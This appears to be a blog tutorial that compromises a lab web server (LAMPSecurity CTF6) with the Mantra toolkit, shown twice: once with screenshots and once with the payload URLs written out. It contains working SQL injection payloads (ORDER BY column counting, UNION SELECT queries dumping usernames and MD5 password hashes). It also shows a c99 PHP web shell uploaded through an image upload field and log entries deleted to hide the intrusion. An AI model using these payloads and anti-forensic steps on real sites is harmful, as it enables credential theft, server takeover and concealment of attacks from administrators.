Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: mantrahackbar1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vWxP8VedwZN9r7oG5-NmdM_V88K0r-h1_X6aB3zQRQgbJMiucFinZy0DMNNvqZfsrMZIEIRn3OvyGy__dX7tX1OyYODaMbBvdPVv4IrnHb-52LTZMmtGGbDVAWB3N7_918VLCcPqsCWjrNcxiPg8ttpzktyd_OTKuZmZ_zgJNuhkWh=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: mantrahackbar2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uRgT0814AP4eA0X3kZYogLsZw4szKGVOEaLdvw7KX3ocAO0GoK8-KGl5W-Arr_uokA022g1Op7nA1C-BIEQyp0AmOIs2Y_tIDngJ1jqftcvl7KVtG_6E1nUQINUgEyn6mKWxNRpB2fnJoWlKajjApVRNkHHsWHBgcPCzxyrFVXZTrEMw=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: mantrahackbar3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sretPIszeuZ3YUMIt1LuaLDNvI_NpfWZMdQgLjHg_AhLTgT1QzZuxCsMoJy1_CZI5OajwzEaPNMoGoKL8G8SByqBI7Ahw_dOiQ18A2KVtrWJKtkyurz7bO5AkHTNyzGgjSW0bTrJkGgtJnniL8qnqhWxAGGdlyQJe5ZPmkowl2Mukm1g=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: mantrahackbar4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t6LQbjVx1iAhwuurAg_ROBzfAxqxpcqRJWXE60O9h_1XcDLCquVGk_Pantl50B-4By22qUuWU5mg9iERR3FgtqlZhXm9H7HjoYj1ue7HA-Plzck4T4rLpc6ElcbWlNf9bxRA9jG1JekvXDFwADmwPhzqSCHvDSvS_Lb2zkEhBjcBAquQ=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: mantrahackbar6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sg7QnBPzv-mYZmrWz_RysMiq6WdD9hOkwo8TureknW8ItpPmEK3vEGcMueDz0L4rHXZDsswIwsB0jurJL2bTGSIk6guptXpLnJWpy50vV46GsKOz_fRd959ZnbjDshmTbatZltZlPYmMC5J3ItYyrFZXCqKJ8M8qkm971_D79I5JRWqw=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: mantrahackbar7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sD_vzz8Dh5j7batXHdK8Ps5qMenvkygPpj6X8-3HpTc9a2em0QxkVwmmEL3ttqoZ-l_ZBRUlfalSSmlJyep6h0rUkn8OKvavhAWzYh5MGOWAHwtmuRPhq8q0scOu9K4Fd-QaLojQu6rgPYX_BWlqm1Eww3n8ylZR0EwfIDPtnEuN9B=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: mantrahackbar12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vCWTOcqUQEt_HS_L-t05Jra2kyxwgkELLoS-2jAJ2ac-kBdUPRp63vuK1XN8bg1jYUDtCwF-idJp8YOfgz0BLTN_VVExUSpLZYKqP3Els8frCEBsp3fusm14BhgCga3Htg200KSrlTbaki41gDTgDDrlaSCtbU9z-cSrftoJ_luCvuHNU=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: mantrahackbar13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sD81gMaMJ0mziYSA2NQNpKaoZcjP_ky2Yxd0ErxLe6laOAXA8wfhHuehItbfaHUIUzH_NnBNBs1KcTXsnNxGWE7HSRk1df72kg6SnutrKFrZCEudBHF0tlFg8WvrH1jsfB7NaTK2M_IttD49EO3SJxWjGH2W5pYuNCwWSJVbpMtwbd5OE=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: mantrahackbar14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vSKMGNAMA9zxtvt_WCj8CG07ORDnc8AwezD537OiiMFPD_OfmwPpNQb_fMSxSF-RgF0WJauVBWdr-veSHqEAle5xUy_Iw50r_vqizXv8NWOsbw56vu6PvC_G5eO2zFnHgHWIwDHwKfoQB0JGanjptiwSb-0e3wqjmXn2WOExM5JosVy1A=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: mantrahackbar16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sjdZpAQ3pzJ-hy-tbZ7uvZTMk_FgX6HRQx9J0cRBwT0C2OjnqiFeKN9DzvbH4qxPlPfjKwqeGpF9_kmHoRczAV_XyfOY9y9E0f6T0vmIpfxbhA_fZQVOnQC-t34tPoIja42oTiUhqiXbmoLxOepfRc19zIXu7BYkqE4Exv7SUOZIHx1MQ=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: mantrahackbar19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uZKYD4PPr_kFEMzenwJnL6C5qYoR7A-fDyBEoh9SU5a0pb-3jCgt__ZOVSRwPkHsr9As2jyA-zpgO7bfnjlCQbB1P-M_aHqE9X3s-cFmor1-rV5ddAoxNTfRSjrOEOGOe7fYd3d01OJS3yqf63NOfFTlzo29yZc-sXN7fBm0R7A71hYw=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: mantrahackbar21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_soK2Y6bTHWTKAAX_fCiwHWWwAAZKzvlbQeDefpjUV2kPW2O4eBy1OarkLoY6iszUONef5oVAaxeIEjUtapf1d-OUOQzND6vQqRaJc8C70yBo7w2jqlkj_S0eaZTVq1iHkWzgWPQBeDRk45GfNZSA4LCScL7NZuyFMp0CPDJX-6xJMJxXk=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: mantrahackbar22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sR6qnt-foiOU0_WNsvDdFNAWtBH1rlw0o4wkVXyMXpvJvk3bgsRXIaSL5DIZz58WfcnYGzMmp6bJzp6oSTX5chXWCmo_Oh7zl5as-eE0f6isaL-4IRU0ZR9BWF1OH5zwhso3Lld67ShCOVClDSGKa20-uYjuYQ0IKXvoU_PpY29wH121g=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: mantrahackbar23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_shjmXN0WMrL_4aUZR6Q5ZZ_SXvJdgRdg7vclUU7-Mp2SW6uGJW6aF_Ni0gZkUWpStifIX4BXah3fwkZXSRbTnvxZxc1LkrPkdcaWwDistq5W-UPVMi7x3yIPIlIU0FXHGpPJ32xdqA5t1d2IL8DYGcxoftIR2y8N-IcWS0A-ON5VhxnQ=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: mantrahackbar24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t8pA7tcHBlis_UCBZ_fj65Trjhz7sXl-5BE216XGjcdcNIILeN-9PPr-ItXmOrt6Q5wIKDiQzPLJCbGTZRok46yZ1l9oFYrZpEtTliB5DoJt5eEdXxqb1H-1uRIgWQp5sJfahOqnqCVSy_jXAkiVPodv7l528XW_gfq9S8XsvZ0MpLOQ=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: mantrahackbar25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vbiy67eumKxtJhjlXEK-CnlIr09sTOdtzQZVUq4Es1lz7hsscnrlNRe4KGBfWj7sjMqXlhjRgYXwhZymxK-hLKp0hk8elTmo5YO7cmTBtKLnhT5rrqNduPv8HAfok-wBWRnIn5T5grjxgFhpryMzCzX-jt1DbwL50yIoJPL9dmaxCPpT0=s0-d)
Step 17:
Lets find the user name
![[Image: mantrahackbar27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_teofmnflTN5-zkOniNZSra2LUPih-BQcOIA56ESwRuSFELGvLIIgUi_SnANYiZdV0fvqAwPGxHcOCycUBx_O0VafyeECSnVLXtqNKztUNhEAlayTGP-rRpFeEymxtKnCP4lKmJfBmUW2GCwXQhmmPAs6CWFvcF7vqRPNGgc2yQS1WWt34=s0-d)
Step 18:
Now, what about password
![[Image: mantrahackbar26.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u1oEuFFjeqawMqb185e2LtLRvS4Ikn9OyModT0rUwjxU_6XV6PobZFGE1TG3MmhiEgKCPNDUx-BuiF8am7qFfgm6Xfpt1VKXcyIf9K8UA1JoUgNa_Cq84rlQLEPAgtLE_iQfTiaqepLmJfwDBjHDrCdFeunNRn8k61ZfjCtJ3n1r5QIJE=s0-d)
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
![[Image: mantrahackbar30.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uFH_TH3aUtwCzUsfbdTQhpApHiyxBbatozOK5PJnD0P2i69gXSQScg4aZP1GCW03ROPiCVnZFciFJyl0Z2fOAF5Y7EQTPJavLXV8Ud9H6g6c1qXki4X3NF9us5YaeqyOO7s_s3yvDHpZS2VioIH7lN2SVbxkSUyAlieMyIgekPps5M6jU=s0-d)
Step 20:
Voila.!!! I got the password
![[Image: mantrahackbar31.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vnJbTgDcbVzTQ07zyhKjvzsLJuN_BB9wChgk6lP3ELi_Hd45fwEIZwm1AikV0kAL3Lhehd-oqDl72oH7u-VUeC_a5xR5Kx-ajywrhxpD_L6bYJtC1rLpvZM_mz5b21h6_riSP0LnEw8-LiuMsY4it3IggEMwS8mf2ks0Oc8P2BeniWktE=s0-d)
Step 21:
Finding the log in page. Its was right in front of me
![[Image: mantrahackbar32.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uO7mZPBS2r5I6ZjsQW0IygT-MguR36PWc8yv8OODdCjA6r5DoskaNrX70PKktRplolb-yfb5og2rU1GjLFVxrruOAByTeocZJgsY9r5TFM4mpV3dOknmMMg0ufCjmwFwT5QFpoL19PTto8E9hgr5MdeZZdpbArO28X2YuAB7WuCcaW47Q=s0-d)
Step 22:
Logging in with the credentials I have
![[Image: mantrahackbar33.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vX6L850mIG0HDrdpZgeH5mDLVRy76pBFBCxRHNJBBpF_S91BVNvO8BaqJCeFnnRZqMOEU8qoKETHIYpIYT5P0paiN5xo_-QNoN8qVBcWOn8pTb96Tu4QOXRDmA4ewJkeEdPlr34NCxWOY9rBWYm-sSp0OjyQ33gOLANHrYuoms_kt-wKE=s0-d)
Step 23:
Greetings.!!!
![[Image: mantrahackbar35.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vR5Ff52xMwdSIEGnG7ufWvaT2T9aHoBZB09Xn50vfdPmpm9CjfDX-KSPr3yHaZ2dvJASvj6mVCuJP48ZnvpaoqBDSBszWh5lk02az2uXZxo2sgTKhbwYgaedJ8Y_ZM092s2fOZ2_KZ7dTzI4U5ZSpruGQgcXfjwb7aYWeFHzZK4US4iOo=s0-d)
Step 24:
I'm an admin now. Look at my powers.
![[Image: mantrahackbar36.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_saTCRDtDHJ-pH4ZxJ-BYx6YhGP89bE2eg6DRhaDByzXPKwVCMdWO_mz-bgFP-FKLs8vTs_MfYpx9_HVUwZHnc6nUT2SGgxNUBVd1B3o8I0R6ONNLCM_QDKQJA_brHPC3gR8ksZ2cZkwdu8vTXGiBETk46NXiULHyQbWqmlvkWNCR8CMy0=s0-d)
Step 25:
Let me add an event
![[Image: mantrahackbar37.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tmU-NIqq-dJtQlHBPyR1H8-lyaCAfQ7jdiAPGBjqb-Wl3ej8BNZMxHI1H6GYStZju4y4B12ZHFHBDrGRY1LOdGSztVdU3vXgbKMWyWD1uSffn68JRLNZWHtmNo2Klt810C5FHxyzgb95bmcFd8SM_q_mnv_SWOyeJi_mfKtM7hj1_FIQ=s0-d)
Step 26:
and of course I want to upload a picture
![[Image: mantrahackbar38.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t6NFf25_n11cdPVdpVS7OZxrLsgD1AKuqwkQw6ceA5tQ-CqDldH-oJoi2Y1KqeZE6IETqCbN6MbxIAMtOTLJNHGcKtRV3HH_OXoy6NV506m9jcAlS-NRQ_aZKxctlzVeON1e3d2cJprZkOqN89Gg0ZyskkpuBraY6Df0cZQV31Sl5aqA=s0-d)
Step 27:
Lets see it allows me to upload the shell or not
![[Image: mantrahackbar39.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_syebTJkC7DZuYMg8_QmI5am7RhAxEO4XoiG7SIX9fniQz3tA1qFFIDF1_XTxpW5Ap758LijhdTEDOLzlDoubBpEMujgdrdHwY8sf7AkeFQAbWCQVdgm-aQCa_uY1_IbpAMvMnYtWd79XM52ebIa829jqisQfr22xpHXCIRtNAgD6gkXhw=s0-d)
Step 28:
Now I'm pressing on "Add Event" button
![[Image: mantrahackbar40.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vt8hjSRaWbd2pvLOu9LSCOLM5RWRyl-OArBLF0vHy3mIqQkGEP4gA8gX5n0-yLFQunLvTJJ23ufPU-nEdDKwoEHf7U9V8gJqlptDjrzqnQxpgCq2DP5IyPUjIwHuwXb7FzCwpC7k5ugXyokq4pcoAZKs5VobOLlC3XpzpqFemp5KQZpIQ=s0-d)
Step 29:
Nice. Looks like it's got uploaded
![[Image: mantrahackbar41.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_udWx7SKU0XNKSBXouQabBTb-0tXqDBYGFDTS5dxMP9dxsBR34WMVvf9GBa8ABMSa0TmhP2LTJH2ZWIdDXR0oaqhhVI4KJULPjmd4WdBzpG0ic4Ft3cEmrQ-5c9KOzxDOjS5_ZCavz8I2hwJLBx2oc6O8EdhtUskSR9Qg4lIJ0tMfaLgg=s0-d)
Step 30:
Let's see where the shell got uploaded to
![[Image: mantrahackbar42.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_urDW6TUR77KIvN5BxZSuLLP3cXUvtAv24mUVyV2On1fyFJjEBBGRf0h0ehQUBk4LaaplNcWnPzUYBPUbBDnfEPDSe45YSPNch5CKTxgpErhKxwQ7pqd2xDwLdO89fHPgqw3tsh9f2bwkIhibXhimDVZY6YUZPzRlnb1hHz0bA6ERuHpoc=s0-d)
Step 31:
I'm trying to get the default upload location
![[Image: mantrahackbar43.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sfHwGFO5fqvZRPVvCYEoXU6vG-wWu9vaO9ZQEdO4Ft_csgekEz0P7LwHRjC6mqGGthErTyAwagcMOj4irPRZrVXqH_YQL_a0TiSxn_Hx2NK6DaoP0a_Ise4ZsWV8pd0Z-TxqHLzDCRyZJmfI76YagTePM1_ex4f4Bv9Qj0stPvRBmm3Ww=s0-d)
![[Image: mantrahackbar44.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u1MeslU-xsiL3IVbnneq76CcAv6Zh9vS_4b_dCahNyW8utzobVJo-WAHLw_nkiS9UrnaLgiB5K1IPtMyo3E64ceag6d4NvhQDa8E8Nr3UkuBcQGB2aXbv5_9yE6LqmVrmoium0J7TJNVhocWBJFOMIj89Y9yI8FBPYpmaiy961r9rjyu4=s0-d)
Step 32:
Looks like I got it
![[Image: mantrahackbar45.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tI4L91ixiheZYLPRsCVqqezLXn0fHHruuKg5WWMHsRDzzejLm4-islWVCdLVijE_jilq2AT7U73tDavzBwYgIjzAAaT82htQl0JjJzJRbTGv_16ExXFxLkV-SLd9O8tYlLGVrNJx4nci2pBKj4AW10r3CztmUTo8K9dqdpWlA62uaWJSQ=s0-d)
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
![[Image: mantrahackbar46.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tRYilFQBchT7TmUpm9TGHur0ZtPQWLVa7D8DdSHmWNWeBdGRtcrCbTRY8YGQ7lbb2GeFGEd1MckkIT4K-JrwNmG3hDUJlnIitpWkb2ij8oZ-a16rcMbYUf0zKDt_AKzCkUisV1YJOxxwrcpy2hJUaL9CPOH4L9_scftePTfUIrphCaVXA=s0-d)
Step 34:
I simply clicked on the up button to get the root folder
![[Image: mantrahackbar48.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uWkeyHXMUPDm2UwxPNQj1TE4ZHr4tAzMgK4pe53SaiT7drp8CBaOJNFLlhY1sxI1jf66uQ3v1SHzFJPo7c2ljmdW_qI1wauwoNhQFgclVHdt4UMobIH6-rtpD556fPCqYCF0QDlfAo9UAw0CwEE0WenzLXy-eWt5_O9nJTPcktbtpvSnA=s0-d)
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
![[Image: mantrahackbar49.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vC-gEltE2xCXFxbdCE4Zda1tbKXCxvrogrcJsqV9uKAxRuDuF2Wt_lnYzaXh-Ncft1nbUsPq9bkZGGlNk9HjNsArWJb8Ypt3DMLZSyi-HqBNS0Kryjk0oD4WB2dd71e4mxFQwMy48cM1bOfheu2eUfhVC8B6vnFhlyYWeSk7DldI8e2DI=s0-d)
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
![[Image: mantrahackbar51.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sxDzInDu35DeIq8f0S1zjWPubQScqGXJoOIRYkkEnQXX_KufQjEdCXtridlPNVo_jzQHnlDrtAvGSgIQnm1oQAtp9Xyfi_BCMExKpe_19dKIHixCs-rIpXk_SHUyn-loKg4raiFLNSn69zeB-nQbmKG6gEXSL1Bh0LPto2z2b8LEVTlg=s0-d)
Step 37:
Let me go back and edit the log file
![[Image: mantrahackbar52.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tt2Fge3vCBuNqHF0bCZfz0qtefl65Jr3I6YUhEpM8hmEGWQ3kIIeQqvSXzHyXmds3K1fe1eNG1YhItqjQKZpM5seEBmfdaYMoD3XVa34k79PV29l42_YkE4cud-CJ3NTcy16nxLG0tiTogK9kc38gdTNo9Z6QjcekSiDaD7zUGjvHPjMk=s0-d)
![[Image: mantrahackbar53.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vs4g8ZQDLAVggNIoD7kqQ8oav_zzrgiJ2DfrMa5jWHVy_YCaHt7fsqk_0oGvwFiY4ceyjiS1FQ-ju8qcdRjksq6dSErmg2cWpLTtnD4XvtPpcc4QEspBwlRxsSdj-hdoC3BcUKrlKcfr27UBT8JwBZLm8flW-PqtHZQvLlgqKEnhYFFw=s0-d)
Step 38:
I deleted complete log entries. Now saving it.
![[Image: mantrahackbar54.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vN6caRnWSr6FFBHVYUcnn9S2Tq_cCqUy5eFDGMIiGs-OTKNwIlypTnImMz1TfHeTZWchEwlOshfmwQ26tc1LgqOeRsISqClB-OSYhR8aWPmkCBb2lVXQJG7iqLqoYIH4hr6CzQnKKJOVjD_LuvdLP3AlgzbJ7K9qyc4csqChaF6o7YwdE=s0-d)
Step 39:
Nice. Log file is empty now
![[Image: mantrahackbar56.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tgYjrt-1sJiE_DVgotp_CU4Jpd3mm1lVobyjV93OPkUmKQG_CFBIyGH23ueq393kjQQej_kp9CrwRvlbViVEqMtMBTGhAgwj9uiLKiwTqMfa9BLjHOi4xje-jz5oMP4PRu4Wowz9GEErwR7pIUmj0VAuLEbuwJhQdO3SJSUGPQvgUnEb0=s0-d)
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
![[Image: mantrahackbar57.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uNEi6QqJ9Rk1XZ929XKBa1AjND5eytrV7B4zmNtmt-iibFUoMkO37Z1Nkfki9T1jSia9O1fPax2p2aH1aOOPLS5MVNTIQ_HiwcKZl0YKH-4OPfmYw4BNsPA7zxh6-4neJWRVCsGDp-Z1dKiXxkkdwm-SYdptDm6CKjQfZDJNcqLGQ4lTU=s0-d)
Step 41:
Confirmed.!!!
![[Image: mantrahackbar58.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uTasa13sDxZvPq5Y0Gn5nWAGu8lXOTNB0HKLgwL1kVlM_cgb4xZkt8cBcj9euze1MnHFLTjbZabIyflgmVlqBGKFn4OuXiWmajz2KlTsa_wZTx0e0YBTPMQmEJfP43QuOnmAzOZxoRwiKVS9REnm8W7cOrjweDRkx6foYLaESx0pkmoT4=s0-d)
Step 42:
OK. Good Bye C99
![[Image: mantrahackbar59.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vjVqSWSQlBnJE6dhYtuh2jgbGgCvu9cuI6WV_QD6usL2WO6juqtO4ieUsBcNHdi3hyLwTkU6F-bIIlzej6PvPzF3BYDSAUqYLCHvRNta7353J5p-hyIFxZzLUR68oNx-9Gb7fOKVZ2vho7AmwSJlC1M6dfbNxclrrNDhL42MBKciKFsA=s0-d)
Step 43:
Well. It got deleted itself
![[Image: mantrahackbar60.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sKClcYJgW39hwIgBEdXyFZx5v-VP17whumu8VcI6LnTn2FblGr3SyZMGVYjRDuHjJbuxFtiwAo3I8KhWfTLajQlJsPIz2y3FWEcjES6dgrQqoH4WEwoCFXEzjpN1bd5LIDbWT76WVAZu7UMw_dAFby4zYF1gCp832DXHt4l6d7mgOzvIw=s0-d)
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
http://192.168.132.128/
Step 2:
I went through all the pages of web site and found a page with URL input
http://192.168.132.128/?id=13
Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
http://192.168.132.128/?id=13'Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
http://192.168.132.128/?id=13 order by 1Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
http://192.168.132.128/?id=13 order by 7Step 7:
I went up to 7 and no change till now
http://192.168.132.128/?id=13 order by 7Step 8:
I'm on 8 now and I can see the page changed
http://192.168.132.128/?id=13 order by 8Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,75.0.45 is the version
Step 14:
Let me list all the tables
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tablesFrom this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columnsStep 16:
I want columns from the table "user" and nothing else
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'Step 17:
Lets find the user name
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from userStep 18:
Now, what about password
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from userIts encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
H4qqy H4ck!ng
This comment has been removed by a blog administrator.
ReplyDeleteHmmmok Nice share
ReplyDelete